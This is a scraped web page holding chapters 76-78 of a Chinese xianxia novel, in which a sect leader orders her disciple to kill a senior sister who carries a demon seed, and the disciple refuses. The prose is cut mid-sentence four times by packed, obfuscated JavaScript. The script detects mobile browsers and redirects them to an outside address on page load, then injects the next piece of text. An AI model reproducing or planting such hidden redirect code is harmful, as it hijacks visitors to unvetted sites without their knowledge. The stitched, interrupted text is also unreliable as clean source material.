d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781479|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的进展:她通过研读前辈留下的书籍,对自己先前的设计又有了新的想法。等她再研究些时日,或许真的在原来的基础上进行修改。 汤穗穗还记得对方的大胆的想法,自然鼎力支持,脸上的愁云也被冲淡了不少:“那太好了!如果有我能帮上忙的地方,请务必要叫我!” 她相信好友的能力,也正和她所想改变的方向吻合,心中变得十分激动。 “你就别打趣我了。”唐澄澄一如既往地不好一起,连忙拐开话题,问起了姬忘尘,“对了,忘尘师姐呢?她还好吗?” 一句寻常的询问让汤穗穗的笑容僵在了脸上,她又想起师姐提到的“选择”,她的脑海又开始了天人交战。 “……忘尘师姐,她怎么了?”唐澄澄也没想到好友的脸色一下子变得这么难看。她方才还看到忘尘师姐往议事堂方向过去的背影,又想起蓝鄞师姐无意识地念叨,这才来找好友。 只是好友的这副神情,越发让她捉摸不透。 “没事,没事。”汤穗穗匆忙掩下眼底的矛盾,再次将话题扯开。 出于私心,她下意识隐瞒了师姐的现状,她还不知道该怎么向旁人开口。 她想找到师傅,神通广大的对方一定有办法处理师姐身上的状况。 说到师傅,她又想起方才仪式上看到的对方。 她虽然只是站在平台之下仰望着,但无端觉得两人相隔天堑。 她清楚地看到,师傅的视线从她们身上逐一扫过——不知为何,唯独停留在姬忘尘身上的时间比其她人都久,眼眸中带着她读不懂的深意。 虽然师傅很快移走了目光,但汤穗穗想起师姐的现状,她的心变得七上八下,不知道师傅知道之后会怎么对待师姐…… 但她很快否定了自己的这个想法,师傅就是师傅,师傅是不会伤害他们的。 完整的停灵仪式长达七日,即使这段时间的姬忘尘并没有离开宗门,但她变得比以往更神出鬼没,找不到踪迹。 “姬忘尘身上到底发生什么了?”蓝鄞微眯着眼睛看向面前的汤穗穗,她敏锐地察觉到姬忘尘一定是有意避开宗门的人——这就代表着她的身上一定发生了什么。 既然堵不到本尊,那她就拷问面前这个稚嫩的少女。 “师姐她一切如常啊……”面对蓝师姐的质问,汤穗穗提防着对方话语中的全套,选择性地说出真话。 自小在尔虞我诈的谎言中长大的蓝鄞听得出对方的回避,她也知道继续追问下去也不会有什么结果。 “行了,不说就不说。别太自作多情了,我可不是关心她。”她压下心底那些强烈的担忧,面上冷哼一声,装作不在意地开口,还撂下狠话,“你呢,少给她打掩护。如果真的是魔气,我会亲手把她除掉。” 汤穗穗明明知道对方并不知晓真相,但依旧吓得心脏跳个不停,几乎要跃出胸腔之外,双手满是冷汗,额头也冒出了汗珠。 她艰难地稳定住自己的情绪,目送对方的身影消失在视线尽头,这才松了一口气。她的双腿瞬间发软,跪坐在地面上,身体无力地靠着门框,重重地叹出方才闷在心口的浊气。 等那口气吐出来之后,她心有余悸,抬手擦掉额头上的冷汗。若是蓝鄞师姐再来逼问几轮,她还不知道自己能不能坚持得住。 这段时间她本来想找到师傅询问关于师姐的事情,但是对方真的太忙了,几乎找不到任何闲暇时间。 76.杀了她 “……穗穗师姐,宗主找你。” 就像心有灵犀的那般,还没等汤穗穗找到机会,秦无纪主动抽空找人约见了她。她一刻都不想多等,连忙往师傅如今的殿堂跑去。 没想到秦无纪正背手站在殿门外的台阶,听到了她跑过来的动作,转头笑着轻唤她的名字。 “师傅!”听到对方的声音,汤穗穗兴奋地加快脚步、跳上台阶,就像往常一样扑到秦无纪的身上。 还好后者做好了准备,并没有因为她的动作失去平衡。秦无纪仔细掂量她的面庞,慈爱地望着她:“怎么长大了还像小孩子一样?” “嘿嘿……”汤穗穗从师傅身上跳下来,抱着对方的手臂傻笑。明明只是靠近师傅,她却觉得心中十分踏实。有师傅在的地方,那些令人烦忧的问题一定能得到妥善地处理。 也因此,她忍不住兴致勃勃地分享这一路上的见闻,就像曾经的分别那样。秦无纪低头看着她亮晶晶的眼睛和涨得通红的双脸,脸上慈爱的微笑未散,耐心听她讲述着,还伸手轻轻理了她额前散落的碎发。 两人一边说这话一边往殿内走去。将近一年未见,汤穗穗不仅个子长高了,身上的肤色加深了些,而且眼神比以前都要坚定不少。 想必在她们同行的这一路上,姬忘尘将她教得很好。 说到后来,汤穗穗都感觉自己有些口渴。 正当她的眼神四处找水的时候,师傅仿佛看透她心中所想,伸手将水杯递了过来,杯中已经倒好了半杯温水。 “谢谢师傅!”汤穗穗毫不客气地接了过来,大口喝下。温热的水流顺着她的喉舌滑入体内、沁入肺腑。 短暂地休息让她想起了师姐的事情,出于对面前人的信任,她没有丝毫犹豫就开口:“对了师傅,如果一个人身上有魔种——不是地缚灵,就是生灵……” 还没等她说完,面前的人听到自己刚开口的几句话,脸上的笑容逐渐敛起,用审视的眼光打量着自己。 她的声音忍不住弱了下去,咽了口水,这才勉强将后半句接着说完:“……有没有净化的办法?” 可是面前的女人仍用复杂的眼神望着自己,似乎要从自己的眼睛里找到对方的踪影。 周围的气氛变得冷凝,汤穗穗被师傅看得有些奇怪,心也变得七上八下,但还是紧紧捏着自己的掌心,让自己的大脑保持清醒。 她干笑了几声,打破了周围不适的气氛:“怎么了师傅?” 她知道师姐身上的秘密很严重,并没有轻易将其讲出口。原本她想将师姐身上的状况向师傅如实开口,可如今师傅的目光,却让她下意识选择隐瞒。 面前的师傅只是凝望着自己,久久没有开口。这份沉重的气息让她变得坐立难安,下意识地想要说些什么话将这个话题掀过去。 但在那之前,师傅终于收回了目光,垂眸掩下思绪,望着她手中的水杯开口:“你遇到这样的人了是吗?” 明明是师傅的声音,汤穗穗却听出了几分赵师姨的味道。 “……没有,我只是突然想到的。”汤穗穗也跟着低下头,望着杯中自己的倒影,稳住自己的思绪,再次抬头望向师傅,“所以师傅,会有办法吗?” 或许汤穗穗以为自己隐藏得很好,但秦无纪还是从她脸上的焦急读出了真相。 ——这一天还是来了,姬忘尘还是没压住体内的魔种。 她原本以为自己能够冷静地处理姬忘尘的这件事,可一切真的发生的时候,脑海中似乎有两个自己疯狂地拉扯着,久久不能做决定。 她不能不、不得不做出选择。 就像当年的师姐那样。 “有。”秦无纪将水杯放在手边的木桌上,而后起身背对着汤穗穗,佯装没识破少女隐瞒的消息。 “是什么!”听到这个消息,汤穗穗连忙蹦了起来,眼睛放亮望着师傅的背影。 “等你再次遇到她的时候,”秦无纪闭上了眼,艰涩、却斩钉截铁地开口,“——杀了她。” “什么?!”汤穗穗怀疑自己听错了,瞪大了双眼看向秦无纪。下意识后退了几步,滑到了台阶下,勉强稳住自己的身形,摇头反驳着,“不可能,我绝对不会——” 意识到自己差点说漏嘴的汤穗穗连忙止住了话头,瞪大了双眼望着对方。虽然只有局几步的距离,现在的她却觉得离师傅好遥远。 “一旦入魔,以——”秦无纪隐去那人的名字,睁开眼望着被放在桌案后的屏风,冷静地阐述着利弊,“魔种的能力,随时能致一座城池的人于死地。……可是穗穗,我们能承担魔种失控之后的代价吗?” “为什么不行?”汤穗穗脱口而出,满心满眼都是对师姐的维护,顾不及思考师傅口中的内容。 “我们不行。”秦无纪打断她并转过身,直视着面前少女愠怒的神情,语气不带喜怒,“我们不能赌一个不确定的结果。” 其实她的内心很复杂。 一边高兴于此刻听到汤穗穗对于姬忘尘的维护,心中感慨万分,也感到骄傲;可另一边,作为宗主的自己,她必须做出残忍的决定:她不能让隐藏的危险存在,以免危害到更多的人。 可也就是在此刻,她望着面前人稚嫩的面容时,却想到了姬忘尘。 ……哪怕是现在这种时刻,她还是很想念对方,很想和对方再见一面,就当什么都不知道、什么也没有发生。 在秦无纪用视线描摹汤穗穗模样的时候,汤穗穗也在看着自己的师傅。 或许是因为赵师姨的辞世,师傅的面容比起离开时更沧桑,眼神也无意识中染上了疲惫。明明她们只是半年没见面,她却觉得面前的师傅变得那么陌生。 她还是不敢相信方才听到的话语,可脑海想起的还是很久以前,第一次和师姐出行时,师傅对对方无条件的维护,当时的场面似乎就发生在昨天。 可为什么,今天的她却说出了这般残忍的话语。 倘若方才她将师姐的真相说出,是不是就会将师姐送上绝路? 直到这时候,汤穗穗才后知后觉理解,师姐那天口中的“生死”究竟意味着什么。 意识到这一点的时候,内心汹涌的情绪将她裹紧,几乎无法正常呼吸。她艰难地做了几次深呼吸,终于在拥挤的情绪中理清自己。 她不敢相信师傅的绝情,再一次将视线放到面前,摇头轻声呢喃:“……师傅,不该是这样的。” “穗穗,以往我只是你们的师傅。”秦无纪对上穗穗破碎的眼神,心中很是不忍。她下意识伸手想要摸摸对方的脸给予安慰,却在半途收起了手,克制了这份不合时宜的情绪。 “可如今,”秦无纪所站的位置比汤穗穗略高一些,居高临下地开口,“我不止只是你们的师傅。” 望着对方高高在上、十分疏离的姿态,汤穗穗似乎觉得一盘冷水从头泼下,身体不受控制地打了个寒颤。 是了,秦无纪如今已经是新一任乾坤宗的宗主。 ——她们不能再像以前那般亲密无间。 “我绝对不会动手的!”汤穗穗双手握成拳,坚定地开口,拧眉怒视着师傅、如今的秦宗主,几乎摊牌似地开口,“如果没有其他办法,我会去找办法;但如果你们坚持要杀了她,那请先踏过我的尸体。” 此时此刻,恰如彼时彼刻。 少女的话语掷地有声,在殿堂中久久回响。但她说完之后就直接离开,只留下怒气冲冲的背影。 看着她越来越小、直至消失在视线中的身影,秦无纪的肩膀一下子塌了下去,她坐在殿内的台阶上,双腿还有些发软。 阳光从殿中的天窗照了进来,照亮了空中漂浮的尘埃。有些许微风穿入殿堂,带起她的发丝,柔和地在她的身旁打转,就好像师姐从未离开她的身边。 曾经她怨恨过师姐对于姬忘尘的绝情。 可二十年后,当她站在师姐的位置上,却做出了同样的选择。 “……师姐,那时的你也是如此吗?”秦无纪伸手托住这缕柔和的微风,泪珠闪耀着绚丽的光芒划过脸颊后坠落在地上,轻声呢喃,“你也在期待着,我能够给忘尘找到另一条路吗? “……可是师姐,我辜负了你的信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787409|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任。” 兜兜转转二十年,好像什么都没有变化,一切都走回到了原点。 跑出去的汤穗穗找了个隐秘的角落,用锁定的术法找到了师姐的位置。她追着对方的位置跑过去,没想到对方竟然在葛长老的药房做帮工。 但她来不及细想,连忙抓上对方的手臂:“师姐我们走吧,我们不要留在这里了!” “走?去哪?”一旁的葛长老望着气喘吁吁的汤穗穗,明知故问。 这才意识到又第三人在场的汤穗穗愣在原地,喘着气在脑海中搜索合适的说辞,可她的大脑一片空白,什么话都说不出来。 “葛长老,我该回去了。”还好师姐先一步开口解了围。 “行,明天记得来。”葛长老没有再看她们,低头分拣这自己晾晒的药材。 姬忘尘点点头,带着怔愣的汤穗穗离开药房。 被师姐拉着走出去好一段,汤穗穗才回过神来,犹豫着开口:“葛长老她……” “她知道。”姬忘尘平淡地开口,还笑着调侃道,“在她那做帮工,就是她的保密条件。” 虽然不知道葛长老为什么和师傅的反应截然不同,但汤穗穗再一次重复了方才要离开的那句话:“……不管是哪里,我们都不要回来了!” “但是我答应葛长老不离开宗门了。”姬忘尘泰然自若地开口,似乎没把师妹的担忧放在心上,“原本说停灵之后再离开,现在也被长老留住了。” “可是——” 似乎看出师妹心中所想,姬忘尘停下了脚步,转身对上师妹又慌张又担忧的神情,点出了她的症结所在:“她让你杀了我,是么?” 即便没有明说,两人都知道这个“她”指的是师傅。 “师姐……”汤穗穗皱巴着脸,想要带师姐离开这里。 “别怪她。”姬忘尘主动伸手牵着师妹,继续往前走,走到了阳光下的位置,望向宗主殿的方向,“她一定有迫不得已的原因。” 停灵仪式之后,原本她只是来找葛长老辞别,没想到对方反而将她留在了药房。即便她再三表明现在的危险性,但对方却毫不在意,甚至以“你现在不也没事吗?别想着借此理由偷懒。”将自己的话语堵了回去。 后来蓝鄞也找到了自己,虽然在她的追问之下,自己还是没有将真相说出口。但对方别扭的担心,也让姬忘尘忍不住打趣对方,也让她明白,还有很多人在关心她。 哪怕现在师傅做出了当年同样的选择,但她知道师傅的心中也有一块属于自己的区域。 她从来都没有被任何人抛弃。 因此她自私地想在这里停留再久一些。 ……至少在完全与魔种融合之前。 “可有苦衷不是草菅人命的理由!”汤穗穗并不接受这个理由,义愤填膺地开口。 “草菅人命?”姬忘尘笑着伸手顺了顺汤穗穗的头发,望着对方头上依旧绚丽的发簪,“如果她因为私情而不杀我,那才是真正的草菅人命。 “我们所有人都知道魔种危害,我们绝对不能赌这个‘可能’。” 听着师姐说出方才师傅口中一模一样的话语,汤穗穗在心中嘀咕了句“不愧是师徒”。 虽然不知道师姐为什么转变了离开的想法,但汤穗穗还是坚定地对对方许下诺言:“我不会对你动手的,师姐。” “你不需要这样。”姬忘尘知道自己的师妹粘人得很,但这条路注定是她一人的试炼,“你有你的道路。” “倘若我体内魔种真有完全破开的那天,就拜托你杀了我吧。”姬忘尘仰头望着澄澈的蓝天,坦然地接受了这个现实,“我不会对你设防的。” “不会有那一天的。”汤穗穗别扭地撇开头,还是不肯直面现实。 “你要。”姬忘尘缓缓地吐出胸中的烦闷,放柔了声音,“就当为了我,好吗?” “……我不要。”汤穗穗鲜少地直白地说出拒绝的话语。她在很多事情上都可以听从师姐的安排,唯独这件事不可以。 被拒绝的师姐只是伸手顺了穗穗的头发,笑而不语。 77.决定 今天是停灵的第三天。 在药堂帮工的姬忘尘虽然望着面前的草药,但眼神已经不自觉地游离到了九天之外。 只有她自己知道,现在的忐忑不安的心情,远没有表面上那么平静,两种矛盾的心情交织着。一方面她觉得自己不应该继续待在山上,以免影响宗门其余的人;而另一方面,宗门是她心中认定的归处看,宗门里有许许多多留恋的人,她都舍不得与她们分开。 倘若四日后是注定的离别,她只希望这天能来得再晚一些。 “——喂,回神,可别把草药分错了。到时候害了宗门里的人,你可是要负责的。”不知道何时出现在面前的葛长老将她拉了回来,对方的话语一如既往的不客气,垂眸耐心将分错的药材归类,“怎么,还在想着你那魔种呢?” 在宗门里,也就只有葛长老会这么百无禁忌。也是宗门里第二个知道她现状的人。 那天她来找葛长老辞别,没想到三言两语对方就将自己的现状戳破。现在也是,葛长老虽然没有明说,但是锐利的眼神将她隐匿的心思完全洞察。 “葛长老……”她有些尴尬无措,低下头收拾自己方才的残局,等待对方的批评。可是她等了半天,直到桌上的药材都分拣干净之后,都还没有等到对方开口。 她有些拿不准对方的态度,犹豫着抬头时,却发现对方已经背过身,正不慌不忙地理着面前的药柜。 “你就是太在乎别人了。”葛长老头也不回,漫不经心地开口,“更何况,你不是还没入魔吗?无非也就白宸的下场而已,你怕吗?” 白宸就是那位入魔的小师舅,也是最早点出姬忘尘体内魔种的那个人。 面对葛长老的发问,姬忘尘不假思索地开口:“我不是害怕,我只是……” “只是”了半天,她都没有说出个所以然来。 她的确不怕死,可也不知道自己到底在担心些什么。 “急什么,”葛长老替她开了口,回过头来看她,“我不是说了吗,在你作出决定、或者做好准备之前,就留在这给我打下手。” 还没等姬忘尘开口,一道风风火火的身影从门外闯了进来,不由分说就拉着姬忘尘的手,说要一起离开宗门。 由于谈话被意外打断,两人不约而同将目光放在莽撞的汤穗穗身上。再后来姬忘尘就将师妹带了出去,不用猜也知道,师妹应当是刚从师傅那里出来。 她半真半假地说留在宗门的事情,看到了师妹眼中显而易见的担忧。 听到师妹为自己着想时,姬忘尘的心间泛起暖意,同时又觉得自己并不值得被这样对待。 面对师妹义正言辞的拒绝时,她有很多劝说的话语都被堵在了咽喉,最后还是重新咽下,只是伸手轻柔的摸过对方的头发。 正如葛长老所言,那些为时尚早的事情,没有必要现在这一刻作出决定。 ……说起来,关于铃铛的事情,或许应当找师傅问清楚。在离开宗门之前,她认为自己必须给杜蕴辰一个交代。 一觉睡醒的汤穗穗揉着惺忪的眼睛坐起来,望着空荡的房间,心中只觉得空落落的,不自觉地叹了口气。 这个房间正是半年前宗门大比的房间,因为方便两人居住,所以房间稍微大了一些。昨天她还在柜子里找到了之前的木剑,还有师姐留下的、从自己手中拿走的话本——她明明记得,她们下山之前柜子分明是空的。 而这段时间的师姐都直接住在了葛长老的药房那边。药房的位置在宗门最偏僻的西北角,也正好适合隐藏师姐现在的状况。 想到师姐,就不可避免想到师傅的那句话。 她坐在床边低垂着头,脸上挂满了委屈,她不明白为什么师傅竟然绝情到这个地步。及时什么都还有发生,就已经给枉顾二十年的情谊,亲口为师姐判下死刑。 可明明师姐什么都没有做,就仅仅是因为体内存在魔种,就应该为她宣布死刑吗? ——即使她知道答案是肯定的,但还是下意识想反驳对方的决定:她不认为师姐最后的结局就是这么轻而易举地死亡。 既然宗门不能依靠,那师姐身边就只有自己了。 可偏偏,师姐自己都不把自己当一回事,也做出一样的选择。 “师姐真是的!”汤穗穗气呼呼地开口,原本睡了一觉、已经逐渐遗忘的情绪,现在又再次被勾了起来。 她烦躁地揉乱了自己的头发,从床上蹦了下来,心情烦躁的时候她习惯了出门走走散散心。 山上的天气一直不错,可即使和煦的阳光洒在汤穗穗身上时,还是照不散她心中的阴霾。她用力地深吸一口气再呼出来,调整着自己的状态;还用力地晃着头,试图想将那些困扰的思绪甩出脑子。 或许是出于对师傅的依赖,等她从杂乱的思绪回神的时候,她已经无意识地又拐到了昨天的殿堂附近。 如果是半年之前,她肯定会进殿堂中,跟师傅诉说自己的烦恼,想找到解决的办法。可昨天和师傅的谈话还记得一清二楚,她心中有憋着一股对师傅的无名气,直接转身就走。 就在她走后不久,秦无纪鬼使神差地从殿堂中走了出来,正好看到汤穗穗离开的身影。她习惯性地想要开口叫住对方,可想起昨天的谈话内容时,又觉得自己对不住少女的信任。 犹豫再三,她站在原地望着少女不断走远,抿紧了唇,心口像是被无形的大手狠狠地揪住。 曾经埋怨师姐的那些理由,如今都变成箭矢,刺在了自己的身上。 她不免自嘲地笑道,没想到被“宗主”的位置架住时,竟然是如此令人不快。 不过既然在其位,那她就要谋其政,尽其责。 ——哪怕被旁人不喜。 离开的汤穗穗自己也不知道该去哪里,她心事重重地走在路上,却看到不远处抱着机关的好友唐澄澄。她的眼睛瞬间发亮,刚想开口唤出对方名字的时候,才发现在好友的身边围绕着几个小不点,热热闹闹地问着什么。 一看对方的样子就是在忙,汤穗穗不想打扰对方,她沮丧地垂下头塌下肩膀,想趁着对方没发现自己时离开。 “穗穗!”唐澄澄眼看汤穗穗要走,连忙喊出对方的名字。而后很快将手上的机关交给身旁的稚童,三言两语让她们听话离开。 快速处理完身旁的事情,她连忙上前走到汤穗穗的面前。好友整个人萎靡不振,脸上的神情比前几天看到要更沮丧,她猜想对方应当是遇到了很棘手的困难。 “怎么了?你的脸色很不好。”既然对方遇上了问题,那她也想尽自己的能力帮助到对方,“发生什么事了吗?有什么我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792030|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能帮上忙的吗?” “我……”汤穗穗知道好友的意思,但这件事着实难以开口。 关于师姐的事情,越少人知道就越安全,她不能、也不敢去赌旁人对于魔种的态度——哪怕是好友都不可以。 望着汤穗穗欲言又止的模样,唐澄澄心中也了然了几分。大庭广众之下并不是说话的好地方,她不由分说地将对方拉到自己的机关室。 汤穗穗跟着她去了机关室,没想到在这才半年功夫,室内被修缮成光鲜亮丽的样子不仅摆放机关的架子重新修正,还新增了一些桌椅,与最初时那副冷清的样子迥乎不同。 望着这一切的变化,还没等汤穗穗问出口,唐澄澄先一步解答了疑问:“是宗主。……准确来说,是前宗主。” 遇到前宗主的那天实属意外。 那时候的唐澄澄已经结丹,再也不需要按时参加训练,她也就经常泡在机关室捣鼓自己的机关。可没想到下一秒,原本扣紧的门却被人推开,并且听到了一连串的咳嗽声,听起来十分痛苦。 她躲在架子后面没有开口,打量着这位不速之客——竟然是赵宗主。 赵宗主也敏锐地发现了她的存在,甚至点出了她的名字,朝她伸手招呼过来:“……唐澄澄,对吧?” “宗主……”她不清楚对方的来意,低垂着头小步地挪到对方身边。她的心紧张地快速跳动,几乎要蹦出嗓子眼,生怕引来一场发难。 “别紧张,我就是来找你的。”没想到对方非但没有拒绝,反而将几本书籍递到了她的面前。 唐澄澄愣愣地看着输得封面,脑子一片空白,一时不知道自己该做出何等反应。 赵宗主也不着急,保持着递书的姿势,抬头打量着冷清的机关室,还因为身体原因不时地咳嗽几声:“……这里也该修缮修缮了。” “——所以,她就这样找人修缮了这里?”汤穗穗打量着焕然一新的内室,还是有几分不可置信。 “嗯,还给了几本‘扬式机关’的孤本。”唐澄澄从室内书架里抽出了几本誊抄的书递了过来。 汤穗穗下意识接了过来,上面的书写的风格依旧像藏经阁看到的那般,只是现在她终于在扉页认识了对方的全名,下意识一字一顿地念了出来:“扬佑平。” “说起来他也算你的师舅吧。” “……师舅?”汤穗穗望着端正的方块字,眨了眨眼。 “嗯,我听宗主说,是她的师弟留下的,曾经也是喜好机关术的人。”唐澄澄垂眸望着对方手里的书籍,想起当时宗主即将这几本书递过来时,脸上怀念的神情。 女人的手被时光侵蚀变得有些腐朽,可她的动作依然保持着轻柔,将视线从书籍转到自己身上,弯起了嘴角。 “我的师弟,也是沉迷机关术的性子,他留下了这些书给我,反倒是埋没了。”宗主的声音很轻,却十分柔和,“见到你,也想起当年的他。既然有缘,就一并赠与你吧。” 面前的女人说着怀念,却没有将两人混作一谈。 “可是我——” “我相信,你一定会比他更出色。”宗主的眼眸依旧明亮,笃定地开口,“他身负着家族传承走到了这一步,但你不一样,你比他更有天分。 “或许,以后将由你重新定义机关术的未来。” 78.相信 以往的汤穗穗还会颇有兴致地应和或追问,可今天的她虽然口头上也有回应,但挂在脸上的是显而易见的心不在焉的神情。 很明显,在好友的心中,此刻还有一桩被困扰的难题尚未解答。 “不说我了,说回你吧。你从回来之后就一直是心事重重的模样。……你和忘尘师姐出去历练,究竟是发生了什么?”回过神的唐澄澄也适时转移了话题,虽然心中不免有几分失落,但她更想让好友恢复以往那副兴致勃勃地面孔。 以前的对方是散发着无限温暖的小太阳,可现在太阳却被盖上了层层的阴霾。 这是不知道第几次唐澄澄说出提供帮助的话语,汤穗穗自然也理解澄澄的好意,可这件事对她来说真的很重要。 再三权衡之下,汤穗穗还是隐去了师姐体内魔种的存在,模棱两可地说出师姐状态不佳。 虽然好友说得轻描淡写,但唐澄澄还是不自觉地瞪大了眼睛,她万万没想到竟然是忘尘师姐出了事。怪不得一惯粘着忘尘师姐的好友,这次回山门之后竟然一反常态。 “那忘尘师姐……”唐澄澄带着担忧开口,她不知道现在忘尘师姐的状态究竟怎么样。 “师姐现在还好,在葛长老那边帮忙。”汤穗穗垂眸掩下情绪,转念想到唐澄澄的机关,顺势转移话题开口道,“说起来,那个机关设计怎么样了?” “对对对,我找你来正式要说这件事的。” 听到对方的问话,唐澄澄一拍脑袋,连忙转身从架子上拿出一个装置,放在了两人面前的桌子上。 面前的装置看起来与寻常的也并无不同。 得到对方的许可,汤穗穗将物件提到眼前细细研究,却始终看不出个所以然。她看不出有什么特别的地方,抬头将视线放到面前的人。 还没等她将话问出口,唐澄澄好像能通过眼神读懂她脑海中的疑问,沮丧地开口解答:“虽然是做出来了,但是……” 面前的装置看似完整,实际上根本不具备任何功能。许多初始的设想都遇到了瓶颈,根本不能顺利地融合进面前的装置中。 说起机关,唐澄澄一如既往地沉迷,话语就像开了闸的洪水宣泄不停;但这次汤穗穗倒是听得十分认真。即使听起来还是像天书一般,但她可以从好友脸上认真的神色读出她此时的苦恼。 与此同时,汤穗穗也试着从局外人的角度给对方提建议,或许能激发好友的灵感。 酣畅淋漓的交流之下,唐澄澄又有了新的改进方案。她将方才想到的点子逐一记下,眸中迸发的色彩仍未散去。 “……你可别都写下来,我也就是随口一说。你知道的,我就是纯外行,听听就算了。”汤穗穗看着对方奋笔疾书的样子,连忙叫住对方动作,避免误导对方还影响了最后的进度。 “怎么会呢?”唐澄澄完全不这么想,她抬起头来,脸上还挂着因兴奋蹦出的红晕,“虽然方才你说的话完全没用,但还是很重要的。” 一时间,汤穗穗也听不出自己的话语究竟是有用还是没用。 ……应该是有用的。 “那就好。”她伸手挠了挠头,望着对方写得满满当当的纸张,“能帮助上你就最好了,我就等着你大功告成的那一天了。” “穗穗,你也太相信我能做成了。”终于将一切记录完的唐澄澄放下笔,无可奈何地开口,“……我这才哪到哪呢?” “那怎么了,我就是觉得你会成功啊。” 听到对方理所当然地开口,唐澄澄心中蕴满了暖意,不管是过去还是现在,对方依旧相信着自己。 在她都会怀疑自己设计的时候,好像只有汤穗穗会笃定自己一定能够成功。 就像面前这个大胆的装置,连她有时候都觉得过于天马行空。可与此相反,如果全世界只有一个人不相信这个实验不会成功,那一定会是汤穗穗。 “……你为什么这么相信我?”唐澄澄抿着唇,再三犹豫之下,还是将盘桓许久的问题问了出口。 “我……”汤穗穗一时语塞,不明白对方为什么会问出这样的话语。这在她看在是最理所当然的事情。 “为什么相信你……还需要理由?”她对上对方等待答案的目光,顺从本心,“非要说的话,我觉得你提出空前绝后的想法,并且敢于把它化作现实, “同时出于私心,我笃定你会成功。” “谢谢……”唐澄澄感动得几乎热泪盈眶,双手紧紧捏了一把大腿肉,生怕在好友面前失态,可是泪水还是蕴满了眼眶。 不管之后还会面临多少次失败,但她想,只要一想起汤穗穗的这句话,她又有了重头来过的勇气。 因为从头至尾,她都并非孤身前行。 汤穗穗看到好友眼角泛起的泪花,下意识将手帕递了过去:“好啦——” “穗穗你也别太担心。” 但对方同一时间开口,打断了原本汤穗穗想说的话。她递出手帕的手还悬在半空,眨眨眼疑惑地望着好友:“我……” “肯定和姬忘尘师姐有关。”唐澄澄接过递过来的手帕,擦了擦泪水,低着头翻着方才的纸张,努力缓和着方才的情绪,头也不抬地开口,“我知道你有秘密,我也不会问你。” “谢谢……” “不客气。”收拾好情绪的唐澄澄再次从设计稿中抬头,看向对方,“你应该也知道‘关心则乱’吧。你担心的事情真的存在,但是现在不是还没有发生吗?再说了,要是和忘尘师姐相关,那她一定是做好了面对的准备,我们也只需要站在她身边支持她而已。” 话虽如此,汤穗穗在心中泛起了嘀咕,若是寻常的选择她肯定义无反顾支持师姐,可偏偏—— “因为我不是你,所以我也很难做出恰当的假设。”唐澄澄做了个深呼吸,冷静地开口,“但是我相信忘尘师姐。” 汤穗穗垂眸,也望向桌上那张写得满满当当的纸笺。她心里明白唐澄澄的意思,但是她还是不能说服自己师姐这个既定的死局。 “——对了,穗穗,”唐澄澄想到什么,连忙起身从书架抽出了一本书籍,递了过来,同时开口,“我前些天翻看这本书的时候,里面就有提到魔种的形成。 她一边说着,一边将手中的书籍翻到对应的地方。汤穗穗顺着对方手指指向的方向望去,上面清晰地写着:越是纯粹的灵体就能蕴含越多的灵气,魔气也是同理。然而,过深的执念会将灵气扭转成魔气,滋生成魔种。 只可惜再往后的内容被人暴力地撕去,不知所踪。 汤穗穗下意识将书籍拿到手里,皱着眉有些用力地翻动着书籍。然而无论翻开多少次,中间缺失了重要的部分并不能从残余的书页中找回。 “说起来,你知道吗,宗门中竟然真的出现过处理入魔的师长。”望着书页,唐澄澄的思维跳跃到不久前听说到的内容,“那位前辈好像也是天分极高的那种,最后就因为执念入了魔,也就被前宗主处决了。 “因为体内有魔种,所以最后由前宗主亲自净化。既没有停灵仪式,也被宗门里的其她长老避而不谈。” 说起这位天之骄子时,唐澄澄心中还有几分唏嘘。 “他好像姓白,叫……” “白宸。” “对对对,原来你听说过啊……” “略有耳闻而已。”汤穗穗摇了摇头,脸上虽然勾起浅淡的笑容,但她心中却沉了下去。 她曾在师姐口中听说白宸的事情。 但望着手中这本被撕去的书籍,让她不自觉地想起了王城中的杜蕴辰,她隐隐感觉有些联系,一时半会又不知道缺失了哪一部分。 白宸,会跟这些事情有关系吗? ……师姐,会不会也和这些事情相关? “师傅,打扰了。” “……忘尘。”秦无纪从桌案的文件中抬头,望向殿内的不速之客。她没有想到姬忘尘还会这么平静的出现在自己的面前,她原本以为汤穗穗一定会把对方带走,离自己越远越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801191|169112||http|test|mini|href|location''.split(''|''),0,{})); () { 